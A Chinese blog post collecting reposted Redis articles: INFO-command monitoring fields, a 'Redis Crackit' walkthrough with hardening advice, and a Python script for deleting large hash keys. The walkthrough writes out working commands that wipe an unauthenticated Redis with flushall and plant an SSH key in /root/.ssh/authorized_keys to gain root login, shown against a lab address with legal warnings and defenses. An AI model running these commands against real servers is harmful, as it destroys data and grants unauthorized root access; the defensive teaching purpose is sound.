Redis状态监控及安全防护

by ·0评论 · 2,850 人阅读 · 隐藏边栏 · 最后更新: 2017/6/1

应用监控-Redis状态监控

Redis可以使用INFO命令，进行状态监控。

以一种易于解释（parse）且易于阅读的格式，返回关于 Redis 服务器的各种信息和统计数值。
通过给定可选的参数 section ，可以让命令只返回某一部分的信息：
    server : 一般 Redis 服务器信息，包含以下域：
            redis_version : Redis 服务器版本
            redis_git_sha1 : Git SHA1
            redis_git_dirty : Git dirty flag
            os : Redis 服务器的宿主操作系统
            arch_bits : 架构（32 或 64 位）
            multiplexing_api : Redis 所使用的事件处理机制
            gcc_version : 编译 Redis 时所使用的 GCC 版本
            process_id : 服务器进程的 PID
            run_id : Redis 服务器的随机标识符（用于 Sentinel 和集群）
            tcp_port : TCP/IP 监听端口
            uptime_in_seconds : 自 Redis 服务器启动以来，经过的秒数
            uptime_in_days : 自 Redis 服务器启动以来，经过的天数
            lru_clock : 以分钟为单位进行自增的时钟，用于 LRU 管理

    clients : 已连接客户端信息，包含以下域：
            connected_clients : 已连接客户端的数量（不包括通过从属服务器连接的客户端）
            client_longest_output_list : 当前连接的客户端当中，最长的输出列表
            client_longest_input_buf : 当前连接的客户端当中，最大输入缓存
            blocked_clients : 正在等待阻塞命令（BLPOP、BRPOP、BRPOPLPUSH）的客户端的数量
    memory : 内存信息，包含以下域：
            used_memory : 由 Redis 分配器分配的内存总量，以字节（byte）为单位
            used_memory_human : 以人类可读的格式返回 Redis 分配的内存总量
            used_memory_rss : 从操作系统的角度，返回 Redis 已分配的内存总量（俗称常驻集大小）。这个值和 top 、 ps 等命令的输出一致。
            used_memory_peak : Redis 的内存消耗峰值（以字节为单位）
            used_memory_peak_human : 以人类可读的格式返回 Redis 的内存消耗峰值
            used_memory_lua : Lua 引擎所使用的内存大小（以字节为单位）
            mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率
            mem_allocator : 在编译时指定的， Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。
        在理想情况下， used_memory_rss 的值应该只比 used_memory 稍微高一点儿。
        当 rss > used ，且两者的值相差较大时，表示存在（内部或外部的）内存碎片。
        内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。
        当 used > rss 时，表示 Redis 的部分内存被操作系统换出到交换空间了，在这种情况下，操作可能会产生明显的延迟。
        Because Redis does not have control over how its allocations are mapped to memory pages, high used_memory_rss is often the result of a spike in memory usage.
        当 Redis 释放内存时，分配器可能会，也可能不会，将内存返还给操作系统。
        如果 Redis 释放了内存，却没有将内存返还给操作系统，那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。
        查看 used_memory_peak 的值可以验证这种情况是否发生。

    persistence : RDB 和 AOF 的相关信息
    stats : 一般统计信息
    replication : 主/从复制信息
    cpu : CPU 计算量统计信息
    commandstats : Redis 命令统计信息
    cluster : Redis 集群信息
    keyspace : 数据库相关的统计信息

除上面给出的这些值以外，参数还可以是下面这两个：
    all : 返回所有信息
    default : 返回默认选择的信息
当不带参数直接调用 INFO 命令时，使用 default 作为默认参数。

转载自：https://www.unixhot.com/article/20

Redis Crackit漏洞利用和防护

        注意：本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》，如果发现的别人的漏洞，千万不要轻易入侵，这个是明确的违法的哦！！！

    目前Redis Crackit都炒翻天了，作为运维工程师不能不知道啊。具体大家自己google吧，简单的说就是你的redis如果公网可以访问，而且没有设置验证，那么恐怖的事情发生了。可以通过redis直接获取system shell，注意哦，可不是web shell。你的redis运行在什么用户，就直接能登陆了。

 下面我模拟一下入侵过程：

 准备工作：

·       1.准备一个运行在root用户下的验证redis。

·       2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"

·       3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt


开始了：很简单哦

#清空数据，必备哦。不要轻易操作，会清空redis所有数据哦。
[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
#把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
#连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
#设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
#设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
#搞定保存
redis 192.168.199.221:6379> save
OK
#退出
redis 192.168.199.221:6379> exit

#尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com

！！！！！！！！！！！！好吧，一台服务器就这一沦陷了！！！！！！！

#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys

注意：本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》，如果发现的别人的漏洞，千万不要只想flushall，这个是明确的违法的哦。

如何防护：

     1.禁用这些可以入侵的命令：
     [root@test-node2 ~]# vim /etc/redis.conf
     rename-command FLUSHALL ""
     #rename-command CONFIG ""  注意，设置了，可就不能用了，如果需要使用可以设置一个其它名称。
 
    2.将你的redis不要运行在0.0.0.0.或者设置验证。
     [root@test-node2 ~]# vim /etc/redis.conf
    requirepass redis-passwd
    bind 192.168.199.11

   3.尽量不要使用root运行。默认yum安装的redis，是运行在redis用户的。

如何发现被入侵：
   

·           1.你的redis数据莫名其妙没有了。

·            2.检查你的rdb文件存放的路径

·            3.检查是否有非法的authorized_keys

转载自：https://www.unixhot.com/article/23


如何有效删除Redis中比较大的Hash Key

    生产上由于业务设计原因，有一些500M的Hash Key，现在已经没有用了，需要删除，如果直接删除会造成Redis的卡顿影响线上正常的业务。那么处理有两个方案：

·            在一个夜深人静的时刻，流量低点进行操作（运维真是苦逼啊！）

·            写个脚本，把Hash里面的内容一条一条删除（Python大法好啊！）

   
Python脚本：
      于是便有了这个脚本，很Low，很实用：


# -*- coding: UTF-8 -*-

'''

    python redis_hash_del.py HASH_KEY_NAME

'''

 

# Import python libs

import sys

import redis

 

# Args Input filter

if len(sys.argv) <= 1:

    print "python sys.argv[0] HASH_KEY_NAME"

    sys.exit()

else:

    hashkey = sys.argv[1]

 

# redis_hash_del online

def redis_hash_del(hashkey):

    '''

    delete redis hash key

    '''

    r = redis.Redis(host='192.168.0.118',port=6379,db=0)

    if r.exists(hashkey):

        hashkey_all = r.hkeys(hashkey)

        for i in range(len(hashkey_all)):

           r.hdel(hashkey, hashkey_all[i])

        print i

    else:

        print "KEY NOT EXISTS"

 

if __name__ == "__main__":

    redis_hash_del(hashkey)

 

[/i]

  使用方法：

    手动修改脚本里面的IP地址和端口，然后：

[i]python redis_hash_del.py HASH_KEY_NAME[/i]

转载自：https://www.unixhot.com/article/34

anzhihe 安志合个人博客，版权所有 丨 如未注明，均为原创 丨 转载请注明转自：https://chegva.com/2169.html | ☆★★每天进步一点点,加油!★★☆ | 
标签：

您可能还感兴趣的文章！

发表评论

电子邮件地址不会被公开。 必填项已用*标注